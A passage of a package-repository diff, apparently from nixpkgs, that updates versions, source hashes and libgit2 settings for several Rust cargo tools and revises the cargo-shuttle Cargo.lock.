"sha256-5Ps31Hdis+N/MT/o0IDHSJgHBM3F/ve50ovfFSviMtA="; nativeBuildInputs = [ curl @@ -30,7 +30,7 @@ rustPlatform.buildRustPackage rec { buildInputs = [ curl - libgit2_1_5 + libgit2 openssl zlib ] ++ lib.optionals stdenv.isDarwin [ @@ -40,6 +40,10 @@ rustPlatform.buildRustPackage rec { cargoBuildFlags = [ "-p=cargo-codspeed" ]; cargoTestFlags = cargoBuildFlags; + env = { + LIBGIT2_NO_VENDOR = 1; + }; + meta = with lib; { description = "Cargo extension to build & run your codspeed benchmarks"; homepage = "https://github.com/CodSpeedHQ/codspeed-rust"; diff --git a/pkgs/development/tools/rust/cargo-component/default.nix b/pkgs/development/tools/rust/cargo-component/default.nix index 1f15ce1d560fe..88cecd3e00430 100644 --- a/pkgs/development/tools/rust/cargo-component/default.nix +++ b/pkgs/development/tools/rust/cargo-component/default.nix @@ -9,16 +9,16 @@ rustPlatform.buildRustPackage rec { pname = "cargo-component"; - version = "0.7.1"; + version = "0.9.1"; src = fetchFromGitHub { owner = "bytecodealliance"; repo = "cargo-component"; rev = "v${version}"; - hash = "sha256-FmaJUdi3hJEd0Fo4tgzne47aP8U/SK+S0UDVEG/P6e8="; + hash = "sha256-hST3mQqL+RNG/R/ewNjtk9KNTbjD5GwKPmx++Tv/LkE="; }; - cargoHash = "sha256-8Shw3YSHBFHkw57ZVNjJo/eg2fXvyTVKM9kPX17pfkM="; + cargoHash = "sha256-JoVwaqtSoaHH4h2ViqDYD4XDUtiH9jsHhCUAxPdsIps="; nativeBuildInputs = [ pkg-config diff --git a/pkgs/development/tools/rust/cargo-cyclonedx/default.nix b/pkgs/development/tools/rust/cargo-cyclonedx/default.nix index acfd450f209a7..c4290a6e9cfa3 100644 --- a/pkgs/development/tools/rust/cargo-cyclonedx/default.nix +++ b/pkgs/development/tools/rust/cargo-cyclonedx/default.nix @@ -12,16 +12,16 @@ rustPlatform.buildRustPackage rec { pname = "cargo-cyclonedx"; - version = "0.4.1"; + version = "0.5.0"; src = fetchFromGitHub { owner = "CycloneDX"; repo = "cyclonedx-rust-cargo"; rev = "${pname}-${version}"; - hash = "sha256-JrusJsMjaWAsWAssU+q87BCH2ouLfthIw47ypwBkR9o="; + hash = "sha256-791FZR9dmwVjORrkpm8el+2VMEEKJG+yKKqq+R1I9U4="; }; - cargoHash = "sha256-QzEojbwBF7s3C+LlFWle0+8DVtyEljuqAcMAyRJqFcs="; + cargoHash = "sha256-Cbi1cnUy6HKkgBXVjK0xItx2pzuYVob/Qz4o8eT6Fws="; nativeBuildInputs = [ pkg-config diff --git a/pkgs/development/tools/rust/cargo-deny/default.nix b/pkgs/development/tools/rust/cargo-deny/default.nix index ac17d62fe9e2d..c3bc211a9c0e7 100644 --- a/pkgs/development/tools/rust/cargo-deny/default.nix +++ b/pkgs/development/tools/rust/cargo-deny/default.nix @@ -9,16 +9,16 @@ rustPlatform.buildRustPackage rec { pname = "cargo-deny"; - version = "0.14.11"; + version = "0.14.15"; src = fetchFromGitHub { owner = "EmbarkStudios"; repo = "cargo-deny"; rev = version; - hash = "sha256-xK6Q1p5SlpFGQ1ZtSHGFBwwL2z1LMcdM/jaC5RWglts="; + hash = "sha256-soDLgxEbeNk8mQHwUzBZK5QqTURzXQKZb2LtJA6fnhc="; }; - cargoHash = "sha256-6HSdbyBBnvcbJzXBvtuqbauVqLoSuAzo73S+4vioo8I="; + cargoHash = "sha256-XblrLV3AMmFFXOr3K/Sq4Vb6MknI7H92H/bDvUEUOko="; nativeBuildInputs = [ pkg-config diff --git a/pkgs/development/tools/rust/cargo-dephell/default.nix b/pkgs/development/tools/rust/cargo-dephell/default.nix index 63a8cabccefa6..b01a722e5ea1d 100644 --- a/pkgs/development/tools/rust/cargo-dephell/default.nix +++ b/pkgs/development/tools/rust/cargo-dephell/default.nix @@ -6,7 +6,7 @@ , curl , openssl , darwin -, libgit2_1_3_0 +, libgit2 }: rustPlatform.buildRustPackage rec { @@ -35,7 +35,7 @@ rustPlatform.buildRustPackage rec { ] ++ lib.optionals stdenv.isDarwin [ curl darwin.apple_sdk.frameworks.Security - libgit2_1_3_0 + libgit2 ]; # update Cargo.lock to work with openssl 3 @@ -43,6 +43,10 @@ rustPlatform.buildRustPackage rec { ln -sf ${./Cargo.lock} Cargo.lock ''; + env = { + LIBGIT2_NO_VENDOR = 1; + }; + meta = with lib; { description = "A tool to analyze the third-party dependencies imported by a rust crate or rust workspace"; homepage = "https://github.com/mimoo/cargo-dephell"; diff --git a/pkgs/development/tools/rust/cargo-dist/default.nix b/pkgs/development/tools/rust/cargo-dist/default.nix index 5063a4baf40f7..df0ab6cabd67c 100644 --- a/pkgs/development/tools/rust/cargo-dist/default.nix +++ b/pkgs/development/tools/rust/cargo-dist/default.nix @@ -14,16 +14,16 @@ rustPlatform.buildRustPackage rec { pname = "cargo-dist"; - version = "0.8.2"; + version = "0.11.1"; src = fetchFromGitHub { owner = "axodotdev"; repo = "cargo-dist"; rev = "v${version}"; - hash = "sha256-Y4jXAZgJj0d1fUFuM94umlj/JsawWs3KxEQAucsT24s="; + hash = "sha256-SnwTfRHa/1iVG5tcypFQXUTHEOTiXkICzyjdKNYXQcM="; }; - cargoHash = "sha256-Jza9U5vL45rvDPLb4/iELneKgy1OTCMBM1JxfuxZigQ="; + cargoHash = "sha256-Z3usfwxUQzrxAoINUZnM6Gffj1GEVaRNOg+XW5g8PH8="; nativeBuildInputs = [ pkg-config diff --git a/pkgs/development/tools/rust/cargo-fuzz/default.nix b/pkgs/development/tools/rust/cargo-fuzz/default.nix index 12fae7b15c38f..b41bdbe32f682 100644 --- a/pkgs/development/tools/rust/cargo-fuzz/default.nix +++ b/pkgs/development/tools/rust/cargo-fuzz/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "cargo-fuzz"; - version = "0.11.4"; + version = "0.12.0"; src = fetchFromGitHub { owner = "rust-fuzz"; repo = "cargo-fuzz"; rev = version; - hash = "sha256-+k1kHiHRQER/8JTOeQdxcbsfMvS6eC74Wkd9IlLldok="; + hash = "sha256-PC36O5+eB+yVLpz+EywBDGcMAtHl79FYwUo/l/JL8hM="; }; - cargoHash = "sha256-N3niTnSSIfOVOGhcHHgTbLnpYNmM4bow7qX539P+kHQ="; + cargoHash = "sha256-sfvepPpYtgA0TuUlu0CD50HX933AVQbUGzJBNAzFR94="; buildInputs = lib.optional stdenv.isDarwin libiconv; diff --git a/pkgs/development/tools/rust/cargo-generate/default.nix b/pkgs/development/tools/rust/cargo-generate/default.nix index 869a0c8bbbc3d..299bcd7ffad7f 100644 --- a/pkgs/development/tools/rust/cargo-generate/default.nix +++ b/pkgs/development/tools/rust/cargo-generate/default.nix @@ -2,7 +2,7 @@ , rustPlatform , fetchFromGitHub , pkg-config -, libgit2_1_6 +, libgit2 , openssl , stdenv , darwin @@ -24,7 +24,7 @@ rustPlatform.buildRustPackage rec { nativeBuildInputs = [ pkg-config ]; - buildInputs = [ libgit2_1_6 openssl ] ++ lib.optionals stdenv.isDarwin [ + buildInputs = [ libgit2 openssl ] ++ lib.optionals stdenv.isDarwin [ darwin.apple_sdk.frameworks.Security ]; @@ -48,8 +48,12 @@ rustPlatform.buildRustPackage rec { "--skip=git::utils::should_canonicalize" ]; + env = { + LIBGIT2_NO_VENDOR = 1; + }; + meta = with lib; { - description = "A tool to generaet a new Rust project by leveraging a pre-existing git repository as a template"; + description = "A tool to generate a new Rust project by leveraging a pre-existing git repository as a template"; homepage = "https://github.com/cargo-generate/cargo-generate"; changelog = "https://github.com/cargo-generate/cargo-generate/blob/v${version}/CHANGELOG.md"; license = with licenses; [ asl20 /* or */ mit ]; diff --git a/pkgs/development/tools/rust/cargo-hack/default.nix b/pkgs/development/tools/rust/cargo-hack/default.nix index 4cc982f9433d9..dae53fafcc9fb 100644 --- a/pkgs/development/tools/rust/cargo-hack/default.nix +++ b/pkgs/development/tools/rust/cargo-hack/default.nix @@ -2,14 +2,14 @@ rustPlatform.buildRustPackage rec { pname = "cargo-hack"; - version = "0.6.18"; + version = "0.6.21"; src = fetchCrate { inherit pname version; - hash = "sha256-SHLYS7XRzOC6sTUjaJI5S+a230sV69a9m7cTW5gQkXQ="; + hash = "sha256-5vWrnujojleGUS7Ays8YX1TncK61+XHEJFqRhfxF3Ow="; }; - cargoHash = "sha256-vqgrffgMQWzmjIjGswObLPc63hjqXTOwJ3YrA/KyCck="; + cargoHash = "sha256-yzunrPAo6/kgEomu5AHk/AB8EFqs96Jal1KHODSlyWc="; # some necessary files are absent in the crate version doCheck = false; diff --git a/pkgs/development/tools/rust/cargo-leptos/default.nix b/pkgs/development/tools/rust/cargo-leptos/default.nix index fa670ee51e9cd..fd6bcf5aac685 100644 --- a/pkgs/development/tools/rust/cargo-leptos/default.nix +++ b/pkgs/development/tools/rust/cargo-leptos/default.nix @@ -15,18 +15,16 @@ let in rustPlatform.buildRustPackage rec { pname = "cargo-leptos"; - version = "0.2.5"; + version = "0.2.15"; src = fetchFromGitHub { owner = "leptos-rs"; repo = pname; - rev = version; - hash = "sha256-veRhTruM+Nw2rerzXC/kpi2Jr8mMMBLqOM2YBCpFePU="; + rev = "v${version}"; + hash = "sha256-ojLAdudgset/5ynOoue8oJ5L3Z43GHDQBf0xnpkKDOg="; }; - cargoLock = { - lockFile = ./Cargo.lock; - }; + cargoHash = "sha256-OjA1M/PcMxQ7MvBf6hIn+TSCnFvIwQ+08xPcY+jWs9s="; buildInputs = optionals isDarwin [ SystemConfiguration @@ -41,7 +39,7 @@ rustPlatform.buildRustPackage rec { meta = with lib; { description = "A build tool for the Leptos web framework"; homepage = "https://github.com/leptos-rs/cargo-leptos"; - changelog = "https://github.com/leptos-rs/cargo-leptos/releases/tag/${version}"; + changelog = "https://github.com/leptos-rs/cargo-leptos/releases/tag/v${version}"; license = with licenses; [ mit ]; maintainers = with maintainers; [ benwis ]; }; diff --git a/pkgs/development/tools/rust/cargo-llvm-cov/default.nix b/pkgs/development/tools/rust/cargo-llvm-cov/default.nix index be81bb5ea7882..34f524d5d1029 100644 --- a/pkgs/development/tools/rust/cargo-llvm-cov/default.nix +++ b/pkgs/development/tools/rust/cargo-llvm-cov/default.nix @@ -26,7 +26,7 @@ let pname = "cargo-llvm-cov"; - version = "0.6.2"; + version = "0.6.6"; owner = "taiki-e"; homepage = "https://github.com/${owner}/${pname}"; @@ -37,7 +37,7 @@ let cargoLock = fetchurl { name = "Cargo.lock"; url = "https://crates.io/api/v1/crates/${pname}/${version}/download"; - sha256 = "sha256-iML16yjSJsyDsr9F3gyp4XTu5Z9petSUQ0jXotU5tmw="; + sha256 = "sha256-kY0Nb7bwF3o6DKQemZSwoZ55vw57jFGftNTpyprFxM0="; downloadToTemp = true; postFetch = '' tar xzf $downloadedFile ${pname}-${version}/Cargo.lock @@ -55,7 +55,7 @@ rustPlatform.buildRustPackage { inherit owner; repo = pname; rev = "v${version}"; - sha256 = "sha256-1VfWs8f4i3YjH69A7X3/1WPxSIwPRF5osQ/1eqOUB8U="; + sha256 = "sha256-lcB/GWEIg5Y+VUSWphNwzmTuFROfMaTm17HyokoKzrI="; leaveDotGit = true; }; @@ -64,7 +64,7 @@ rustPlatform.buildRustPackage { cp ${cargoLock} source/Cargo.lock ''; - cargoSha256 = "sha256-9pOfhGnktEgyTbfK4roFU7t3qcgx2yRp17hJVKsvNqw="; + cargoSha256 = "sha256-DjWKjq5Vf4wOu6sDPT2yrGB00g80Z59oEpIUvIObjsQ="; # `cargo-llvm-cov` reads these environment variables to find these binaries, # which are needed to run the tests diff --git a/pkgs/development/tools/rust/cargo-machete/default.nix b/pkgs/development/tools/rust/cargo-machete/default.nix index 75d83e7be5afc..b9bbafafb380e 100644 --- a/pkgs/development/tools/rust/cargo-machete/default.nix +++ b/pkgs/development/tools/rust/cargo-machete/default.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "cargo-machete"; - version = "0.6.0"; + version = "0.6.1"; src = fetchFromGitHub { owner = "bnjbvr"; repo = "cargo-machete"; rev = "v${version}"; - hash = "sha256-LDhC/vwhyY4KD1RArCxl+nZl5IVj0zAjxlRLwWpnTvI="; + hash = "sha256-xLquursKMpV6ZELCRBrAEZ40Ypx2+vtpTVmVvOPdYS4="; }; - cargoHash = "sha256-vygAznYd/mtArSkLjoIpIxS4RiE3drRfKwNhD1w7KoY="; + cargoHash = "sha256-F0pNAZ5ZcpGrfYt1TqtBcC2WUwjOEYf/yHero250fl0="; # tests require internet access doCheck = false; diff --git a/pkgs/development/tools/rust/cargo-mobile2/default.nix b/pkgs/development/tools/rust/cargo-mobile2/default.nix index b6265429525fb..01184fe5007d2 100644 --- a/pkgs/development/tools/rust/cargo-mobile2/default.nix +++ b/pkgs/development/tools/rust/cargo-mobile2/default.nix @@ -12,7 +12,7 @@ let inherit (darwin.apple_sdk.frameworks) CoreServices; pname = "cargo-mobile2"; - version = "0.9.1"; + version = "0.10.3"; in rustPlatform.buildRustPackage { inherit pname version; @@ -20,14 +20,14 @@ rustPlatform.buildRustPackage { owner = "tauri-apps"; repo = pname; rev = "cargo-mobile2-v${version}"; - hash = "sha256-gyTA85eLVvDQKWo7D2zO6zFC8910AyNasXGjR1qkI6c="; + hash = "sha256-awf4BvDUeRfg66mv7unN0uKviLI6f1m7s1sQKEeBm2E="; }; # Manually specify the sourceRoot since this crate depends on other crates in the workspace. Relevant info at # https://discourse.nixos.org/t/difficulty-using-buildrustpackage-with-a-src-containing-multiple-cargo-workspaces/10202 # sourceRoot = "${src.name}/tooling/cli"; - cargoHash = "sha256-Zcs+Sm2+xd7OSPXv+QDd7Jh8YvlmVrhWotjVNMqyE60="; + cargoHash = "sha256-rqNhkuQVQ6MHUX1hcwqPS46LpsDZwJ6COvJztap7X4w="; preBuild = '' mkdir -p $out/share/ diff --git a/pkgs/development/tools/rust/cargo-mutants/default.nix b/pkgs/development/tools/rust/cargo-mutants/default.nix index 7418240ac045d..874195aaf8424 100644 --- a/pkgs/development/tools/rust/cargo-mutants/default.nix +++ b/pkgs/development/tools/rust/cargo-mutants/default.nix @@ -7,16 +7,16 @@ rustPlatform.buildRustPackage rec { pname = "cargo-mutants"; - version = "24.2.0"; + version = "24.2.1"; src = fetchFromGitHub { owner = "sourcefrog"; repo = "cargo-mutants"; rev = "v${version}"; - hash = "sha256-cjU/RvfRgeFYwATEVQLmqxxy5qnQtY4R5Hd7jG772Ik="; + hash = "sha256-sZI3Y4wsToDt1fF8ZT494V3q5LwHZ+7uU6of7LOWu3M="; }; - cargoHash = "sha256-0DFMiR4QelTfbTLxU7ceuUgYowO8eRhPemndEWq5xQQ="; + cargoHash = "sha256-zCuNvhZ2CvsdG1CiQJ9fXFBTQxybqz/lk85lX5WrpG4="; buildInputs = lib.optionals stdenv.isDarwin [ darwin.apple_sdk.frameworks.SystemConfiguration diff --git a/pkgs/development/tools/rust/cargo-semver-checks/default.nix b/pkgs/development/tools/rust/cargo-semver-checks/default.nix index 1d940aac1e274..77e46ececc5a8 100644 --- a/pkgs/development/tools/rust/cargo-semver-checks/default.nix +++ b/pkgs/development/tools/rust/cargo-semver-checks/default.nix @@ -10,16 +10,16 @@ rustPlatform.buildRustPackage rec { pname = "cargo-semver-checks"; - version = "0.28.0"; + version = "0.29.1"; src = fetchFromGitHub { owner = "obi1kenobi"; repo = pname; rev = "v${version}"; - hash = "sha256-5QXTbsNp36jYrcSDmCXT5Nmhhr9TaWpF3QqaCKv5TTg="; + hash = "sha256-Eq8NLfgFoO/Upq+eO8kKDMtxgEMQYTG9B6TdCZjGdzc="; }; - cargoHash = "sha256-uRgSNVleGzD75q16hd/AOl23DT1btWGuNgZ2IprGa7k="; + cargoHash = "sha256-AMI997Tz1l7qUmdGPVOtb2KENX27ZfM0P7snzP3aRXU="; nativeBuildInputs = [ cmake diff --git a/pkgs/development/tools/rust/cargo-shuttle/Cargo.lock b/pkgs/development/tools/rust/cargo-shuttle/Cargo.lock index 79e9d4526ce73..944f8e8112df2 100644 --- a/pkgs/development/tools/rust/cargo-shuttle/Cargo.lock +++ b/pkgs/development/tools/rust/cargo-shuttle/Cargo.lock @@ -23,7 +23,7 @@ version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "91429305e9f0a25f6205c5b8e0d2db09e0708a7a6df0f42212bb56c32c8ac97a" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "getrandom 0.2.11", "once_cell", "version_check", @@ -88,30 +88,30 @@ checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" [[package]] name = "anstyle-parse" -version = "0.2.2" +version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "317b9a89c1868f5ea6ff1d9539a69f45dffc21ce321ac1fd1160dfa48c8e2140" +checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" dependencies = [ "utf8parse", ] [[package]] name = "anstyle-query" -version = "1.0.0" +version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b" +checksum = "a3a318f1f38d2418400f8209655bfd825785afd25aa30bb7ba6cc792e4596748" dependencies = [ - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] name = "anstyle-wincon" -version = "3.0.1" +version = "3.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0699d10d2f4d628a98ee7b57b289abbc98ff3bad977cb3152709d4bf2330628" +checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" dependencies = [ "anstyle", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] @@ -133,18 +133,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bddcadddf5e9015d310179a59bb28c4d4b9920ad0f11e8e14dbadf654890c9a6" [[package]] -name = "arrayref" -version = "0.3.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6b4930d2cb77ce62f89ee5d5289b4ac049559b1c45539271f5ed4fdc7db34545" - -[[package]] -name = "arrayvec" -version = "0.5.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23b62fc65de8e4e7f52534fb52b0f3ed04746ae267519eef2a83941e8085068b" - -[[package]] name = "arrayvec" version = "0.7.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -190,6 +178,16 @@ dependencies = [ ] [[package]] +name = "assert-json-diff" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47e4f2b81832e72834d7518d8487a0396a28cc408186a2e8854c0f98011faf12" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] name = "assert_cmd" version = "2.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -216,33 +214,16 @@ dependencies = [ ] [[package]] -name = "async-lock" -version = "2.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "287272293e9d8c41773cec55e365490fe034813a2f172f502d6ddcf75b2f582b" -dependencies = [ - "event-listener", -] - -[[package]] -name = "async-session" -version = "3.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "07da4ce523b4e2ebaaf330746761df23a465b951a83d84bbce4233dabedae630" +name = "async-posthog" +version = "0.2.3" +source = "git+https://github.com/shuttle-hq/posthog-rs?branch=main#4a8299fde3080bff550620c0853be9b83fee8f44" dependencies = [ - "anyhow", - "async-lock", - "async-trait", - "base64 0.13.1", - "bincode", - "blake3", - "chrono", - "hmac 0.11.0", - "log", - "rand 0.8.5", + "posthog-core", + "reqwest", "serde", "serde_json", - "sha2 0.9.9", + "thiserror", + "tokio", ] [[package]] @@ -275,7 +256,7 @@ checksum = "e1b39347f478f57a40cbaf82cbaebb4a350acc757cda30fc7ff88707a11d1d81" dependencies = [ "futures-util", "http-types", - "hyper", + "hyper 0.14.27", "hyper-rustls", "serde", "serde_json", @@ -308,6 +289,16 @@ dependencies = [ ] [[package]] +name = "atomic-write-file" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edcdbedc2236483ab103a53415653d6b4442ea6141baf1ffa85df29635e88436" +dependencies = [ + "nix 0.27.1", + "rand 0.8.5", +] + +[[package]] name = "autocfg" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -333,8 +324,8 @@ dependencies = [ "bytes", "fastrand 2.0.1", "hex", - "http", - "hyper", + "http 0.2.11", + "hyper 0.14.27", "ring 0.16.20", "time", "tokio", @@ -368,8 +359,8 @@ dependencies = [ "aws-smithy-types", "aws-types", "bytes", - "http", - "http-body", + "http 0.2.11", + "http-body 0.4.5", "lazy_static", "percent-encoding", "pin-project-lite", @@ -391,7 +382,7 @@ dependencies = [ "aws-smithy-types", "aws-types", "fastrand 2.0.1", - "http", + "http 0.2.11", "percent-encoding", "tracing", "uuid", @@ -416,7 +407,7 @@ dependencies = [ "aws-smithy-types", "aws-smithy-xml", "aws-types", - "http", + "http 0.2.11", "regex", "tokio-stream", "tracing", @@ -440,7 +431,7 @@ dependencies = [ "aws-smithy-types", "aws-types", "bytes", - "http", + "http 0.2.11", "regex", "tokio-stream", "tracing", @@ -465,7 +456,7 @@ dependencies = [ "aws-smithy-types", "aws-smithy-xml", "aws-types", - "http", + "http 0.2.11", "regex", "tracing", ] @@ -479,12 +470,12 @@ dependencies = [ "aws-smithy-http", "form_urlencoded", "hex", - "hmac 0.12.1", - "http", + "hmac", + "http 0.2.11", "once_cell", "percent-encoding", "regex", - "sha2 0.10.8", + "sha2", "time", "tracing", ] @@ -513,9 +504,9 @@ dependencies = [ "aws-smithy-types", "bytes", "fastrand 2.0.1", - "http", - "http-body", - "hyper", + "http 0.2.11", + "http-body 0.4.5", + "hyper 0.14.27", "hyper-rustls", "lazy_static", "pin-project-lite", @@ -535,9 +526,9 @@ dependencies = [ "bytes", "bytes-utils", "futures-core", - "http", - "http-body", - "hyper", + "http 0.2.11", + "http-body 0.4.5", + "hyper 0.14.27", "once_cell", "percent-encoding", "pin-project-lite", @@ -556,8 +547,8 @@ dependencies = [ "aws-smithy-http", "aws-smithy-types", "bytes", - "http", - "http-body", + "http 0.2.11", + "http-body 0.4.5", "pin-project-lite", "tower", "tracing", @@ -595,8 +586,8 @@ dependencies = [ "aws-smithy-types", "bytes", "fastrand 2.0.1", - "http", - "http-body", + "http 0.2.11", + "http-body 0.4.5", "once_cell", "pin-project-lite", "pin-utils", @@ -614,7 +605,7 @@ dependencies = [ "aws-smithy-http", "aws-smithy-types", "bytes", - "http", + "http 0.2.11", "tokio", "tracing", ] @@ -653,7 +644,7 @@ dependencies = [ "aws-smithy-client", "aws-smithy-http", "aws-smithy-types", - "http", + "http 0.2.11", "rustc_version 0.4.0", "tracing", ] @@ -671,9 +662,9 @@ dependencies = [ "bytes", "futures-util", "headers", - "http", - "http-body", - "hyper", + "http 0.2.11", + "http-body 0.4.5", + "hyper 0.14.27", "itoa", "matchit", "memchr", @@ -703,8 +694,8 @@ dependencies = [ "async-trait", "bytes", "futures-util", - "http", - "http-body", + "http 0.2.11", + "http-body 0.4.5", "mime", "rustversion", "tower-layer", @@ -720,10 +711,9 @@ dependencies = [ "axum", "axum-core", "bytes", - "cookie", "futures-util", - "http", - "http-body", + "http 0.2.11", + "http-body 0.4.5", "mime", "pin-project-lite", "serde", @@ -742,9 +732,9 @@ dependencies = [ "arc-swap", "bytes", "futures-util", - "http", - "http-body", - "hyper", + "http 0.2.11", + "http-body 0.4.5", + "hyper 0.14.27", "pin-project-lite", "rustls", "rustls-pemfile", @@ -754,22 +744,6 @@ dependencies = [ ] [[package]] -name = "axum-sessions" -version = "0.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "714cad544cd87d8da821cda715bb9aaa5d4d1adbdb64c549b18138e3cbf93c44" -dependencies = [ - "async-session", - "axum", - "axum-extra", - "futures", - "http-body", - "tokio", - "tower", - "tracing", -] - -[[package]] name = "backtrace" version = "0.3.69" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -777,7 +751,7 @@ checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" dependencies = [ "addr2line", "cc", - "cfg-if 1.0.0", + "cfg-if", "libc", "miniz_oxide", "object", @@ -873,30 +847,6 @@ dependencies = [ ] [[package]] -name = "blake3" -version = "0.3.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b64485778c4f16a6a5a9d335e80d449ac6c70cdd6a06d2af18a6f6f775a125b3" -dependencies = [ - "arrayref", - "arrayvec 0.5.2", - "cc", - "cfg-if 0.1.10", - "constant_time_eq", - "crypto-mac 0.8.0", - "digest 0.9.0", -] - -[[package]] -name = "block-buffer" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4" -dependencies = [ - "generic-array", -] - -[[package]] name = "block-buffer" version = "0.10.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -917,8 +867,8 @@ dependencies = [ "futures-core", "futures-util", "hex", - "http", - "hyper", + "http 0.2.11", + "hyper 0.14.27", "hyperlocal", "log", "pin-project-lite", @@ -1121,7 +1071,7 @@ dependencies = [ [[package]] name = "cargo-shuttle" -version = "0.34.1" +version = "0.39.0" dependencies = [ "anyhow", "assert_cmd", @@ -1131,6 +1081,7 @@ dependencies = [ "chrono", "clap", "clap_complete", + "clap_mangen", "crossterm 0.27.0", "dialoguer", "dirs 5.0.1", @@ -1233,12 +1184,6 @@ dependencies = [ [[package]] name = "cfg-if" -version = "0.1.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822" - -[[package]] -name = "cfg-if" version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" @@ -1251,16 +1196,18 @@ checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" dependencies = [ "android-tzdata", "iana-time-zone", + "js-sys", "num-traits", "serde", + "wasm-bindgen", "windows-targets 0.48.5", ] [[package]] name = "clap" -version = "4.4.8" +version = "4.4.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2275f18819641850fa26c89acc84d465c1bf91ce57bc2748b28c420473352f64" +checksum = "bfaff671f6b22ca62406885ece523383b9b64022e341e53e009a62ebc47a45f2" dependencies = [ "clap_builder", "clap_derive", @@ -1268,9 +1215,9 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.4.8" +version = "4.4.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "07cdf1b148b25c1e1f7a42225e30a0d99a615cd4637eae7365548dd4529b95bc" +checksum = "a216b506622bb1d316cd51328dce24e07bdff4a6128a47c7e7fad11878d5adbb" dependencies = [ "anstream", "anstyle", @@ -1306,6 +1253,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" [[package]] +name = "clap_mangen" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3be86020147691e1d2ef58f75346a3d4d94807bfc473e377d52f09f0f7d77f7" +dependencies = [ + "clap", + "roff", +] + +[[package]] name = "clru" version = "0.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1358,9 +1315,9 @@ checksum = "55b672471b4e9f9e95499ea597ff64941a309b2cdbffcc46f2cc5e2d971fd335" [[package]] name = "concurrent-queue" -version = "2.3.0" +version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f057a694a54f12365049b0958a1685bb52d567f5593b355fbf685838e873d400" +checksum = "d16048cd947b08fa32c24458a22f5dc5e835264f689f4f5653210c69fd107363" dependencies = [ "crossbeam-utils", ] @@ -1385,38 +1342,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "28c122c3980598d243d63d9a704629a2d748d101f278052ff068be5a4423ab6f" [[package]] -name = "constant_time_eq" -version = "0.1.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "245097e9a4535ee1e3e3931fcfcd55a796a44c643e8596ff6566d68f09b87bbc" - -[[package]] name = "convert_case" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e" [[package]] -name = "cookie" -version = "0.17.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7efb37c3e1ccb1ff97164ad95ac1606e8ccd35b3fa0a7d99a304c7f4a428cc24" -dependencies = [ - "base64 0.21.5", - "hmac 0.12.1", - "percent-encoding", - "rand 0.8.5", - "sha2 0.10.8", - "subtle", - "time", - "version_check", -] - -[[package]] name = "core-foundation" -version = "0.9.3" +version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" dependencies = [ "core-foundation-sys", "libc", @@ -1424,9 +1359,9 @@ dependencies = [ [[package]] name = "core-foundation-sys" -version = "0.8.4" +version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" [[package]] name = "cpp_demangle" @@ -1434,7 